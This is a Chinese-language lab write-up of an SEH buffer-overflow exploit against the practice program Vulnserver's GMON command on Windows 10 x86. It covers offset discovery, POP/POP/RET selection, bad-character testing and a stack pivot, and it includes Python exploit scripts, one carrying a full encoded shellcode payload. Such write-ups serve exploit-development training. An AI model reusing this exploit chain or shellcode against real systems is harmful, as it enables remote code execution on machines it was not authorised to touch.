本次实验讨论在Win10 21h2 x86
系统下关闭DEP
,利用SEH
完成。
节省时间,FUZZ
就不做了。直接改之前TRUN
部分FUZZ
代码即可。
来看一下vulnserver
崩溃时寄存器的情况。
注意看,SEH
链被覆盖了。所以这里可能存在基于SEH
的利用。接下来确定具体的offset
。这里利用msf-pattern_offset
生成5000
的字符。继续测试可以得到如下:
注意标红的字符串346f4533
,查找其在生成的随机字符串中的位置,获取具体的偏移量为3547
:
或者,直接在windbg
中也可以:
1 2 3 4 5 6 # .load pykd.pyd # !py mona pattern_create 5000 # !py mona pattern_offset 346f4533
可以知道,3551 个字符可以覆盖SEH Handler
,3547 个字符可以覆盖Next SEH
。(参照SEH
结构,Next SEH
在SEH Handler
前面)
查找P/P/R
。
具体的内容,可以查看生成的seh.txt
文件。可能windbg
的权限不够,导致seh.txt
文件创建失败。
注意: 选择的P/P/R
所在DLL
应该SafeSEH
为False
。
这里选择essfunc.dll
中0x625010b4
所在地址的P/P/R
。
理论上0x625010b4
就可以让eip
指向shellcode
的开始部分,触发shellcode
。但是实际上跳转完成之后,后续中间可能存在脏字符,需要根据实际情况进行调整。如本例。用\xcc\xcc\xcc\xcc
中断程序执行,来看一下栈上的数据的情况。结合之前SEH
利用,JMP
的时候至少要跳过6byte
,实际上是JMP SHORT 0x08
或者JMP $+0x08
。(因为JMP
指令会占2byte
,所以后面的偏移为0x08
)
当前使用的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import socketHOST = '192.168.13.186' PORT = 9999 junk = b"A" *3547 nseh = b"\xcc\xcc\xcc\xcc" seh = b"\xb4\x10\x50\x62" nops = b"" shellcode = b"D" *(5000 -3547 -4 -4 ) PAYLOAD = ( b'GMON /.:/' + junk + nseh + seh + nops + shellcode ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
看一下异常现场:
继续跟进看一下,windbg
中EIP
所指向栈空间数据如下:
发现这里中间没有出现\x00
,所以shellcode
之前不一定需要插入一段\x90
,不过为了防止出现意外情况,一般插入一段\x90
比较好。看上面dump
出来的信息,发现还有一个比较有意思的点,我们填充的\x44
只覆盖了一部分栈空间,后续在这里写入shellcode
是不可行的,因为空间不够,所以上面介绍的跳转方式已经不能使用了,需要换其他方式,可以使用egghunter
技术或者使用stack pivot
技术。
在使用stack pivot
技术的时候,我把shellcode
放在了A字符串的最开始部分,这样会导致shellcode
执行失败,调试发现在shellcode
执行完部分指令之后,栈空间会变成类似如下所示:
注意标红的部分,此时栈空间出现了00
导致会被截断。正确的方式是shellcode
放在A
字符串中间,在最终的利用代码里可以更加明确的理解这一点。
来确定一下坏字符,使用的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import socketHOST = '192.168.13.186' PORT = 9999 badchars=b"" badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" junk = b"A" *(3547 -len(badchars)) nseh = b"\xcc\xcc\xcc\xcc" seh = b"\xb4\x10\x50\x62" nops = b"" shellcode = b"D" *(5000 -3547 -4 -4 -len(badchars)) PAYLOAD = ( b'GMON /.:/' + badchars + junk + nseh + seh + nops + shellcode ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
可以发现,坏字符仅为\x00
。
其实,仔细分析,发现不用上面那么麻烦,按照正常的来,寻找坏字符的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import socketHOST = '192.168.13.191' PORT = 9999 badchars=b"" badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" junk = b"A" *3547 nseh = b"\xcc\xcc\xcc\xcc" seh = b"\xb4\x10\x50\x62" nops = b"" others = b"D" *(5000 -3547 -4 -4 -len(badchars)) PAYLOAD = ( b'GMON /.:/' + junk + nseh + seh + nops + badchars + others ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
来看一下windbg
中此刻的内存情况:
发现ecx-0x30
正好指向坏字符,而且发现除了截断字符\x00
,没有其他坏字符。
先来看stack pivot
,构造思路:常规SEH
利用,最后跳到handler
之后的空间执行shellcode
,现在在这个空间放置一个跳转指令,让它跳转到最开始A
字符串中shellcode
所在的位置,可以根据其距离ESP
的距离来进行构造指令。先看最终的利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import socketHOST = '192.168.13.191' PORT = 9999 shellcode = b"" shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4" shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17" shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde" shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82" shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab" shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63" shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81" shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99" shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16" shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc" shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2" shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf" shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58" shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07" shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd" shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22" shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5" shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda" shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5" shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65" shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c" shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f" shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9" shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7" shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05" shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a" shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e" shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66" shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9" shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8" shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0" shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c" junk = b"A" *(3547 -len(shellcode)-32 ) nseh = b"\xeb\x06\x90\x90" seh = b"\xb4\x10\x50\x62" nops = b"\x90" *32 stage = b'\x66\x81\xC4\xC0\x11' stage += b'\xff\xe4' others = b"C" *(5000 -3547 -4 -4 -len(stage)-32 ) PAYLOAD = ( b'GMON /.:/' + junk + nops + shellcode+ nseh + seh + nops + stage + others ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
介绍mona
里面一个有用的命令:
会自动在SEH Handler
地址处加上断点,方便调试。免得自己先!exchain
,然后手动bp
了。
继续执行,会中断在P/P/R
所在指令:
JMP
指令指向之前,看windbg
中内存情况:
搜索一下栈空间,看我们shellcode
在哪里:
看一下该地址与ESP
之间的偏移,因为我们在shellcode
之前增加了32
个\x90
,所以要减掉32byte
。
这里有个诡异的地方,最后如果使用add esp, 0x11c1
的话,shellcode
会执行不成功。虽然JMP ESP
跳转到NOP
指令,shellcode
也是执行不成功的。这种方式有点不稳定。换一种方式。
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注意这里的offset
字符串,生成的命令为:
在windbg
里面继续执行到跳转指令之前,看一下windbg
的内存情况:
接着运行如下命令:
stack pivot
有好几个备选项。这里选择离ESP
最近的,且是跳转到[ESP]
,完整的代码实现:
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注意看,没有使用add esp,0xdc
,因为机器码带有00
,会截断:
所以,需要将0xdc
分两次加,每次要加的数不能超过0x80
,原因:https://en.wikipedia.org/wiki/Signed_number_representations
最终:
总结:推荐使用后一种方式,最后参考部分,有的文章直接远处跳转到shellcode
地址,这个似乎有问题,至少在我这里每次shellcode
地址不太一样。但是距离ESP
的偏移是一样的。
参考:
1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-19-osce-exam-practice-part-four/
2.https://fluidattacks.com/blog/vulnserver-gmon/
3.https://dunderhay.github.io/2019/02/07/gmon.html
4.https://dunderhay.github.io/2019/02/07/gmon.html